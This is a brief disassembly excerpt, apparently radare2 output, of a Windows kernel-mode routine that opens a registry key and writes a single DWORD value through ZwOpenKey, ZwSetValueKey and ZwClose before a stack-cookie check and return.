test ax, ax
jne 0x140005018
lea rdx, [0x1400058f0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rax, [rsp + 0x40]
mov dword [rsp + 0x60], 0x30
xorps xmm0, xmm0
mov qword [rsp + 0x70], rax
lea r8, [rsp + 0x60]
mov qword [rsp + 0x68], rdi
mov edx, 0x2001f
mov dword [rsp + 0x78], 0x40
lea rcx, [rsp + 0x38]
movdqu xmmword [rbp - 0x80], xmm0
call qword [sym.imp.ntoskrnl.exe_ZwOpenKey]
test eax, eax
js 0x1400050c3
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov dword [rsp + 0x28], 4
lea rdx, [rsp + 0x50]
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
mov rcx, qword [rsp + 0x38]
mov ebx, eax
call qword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, ebx
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.140005270
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret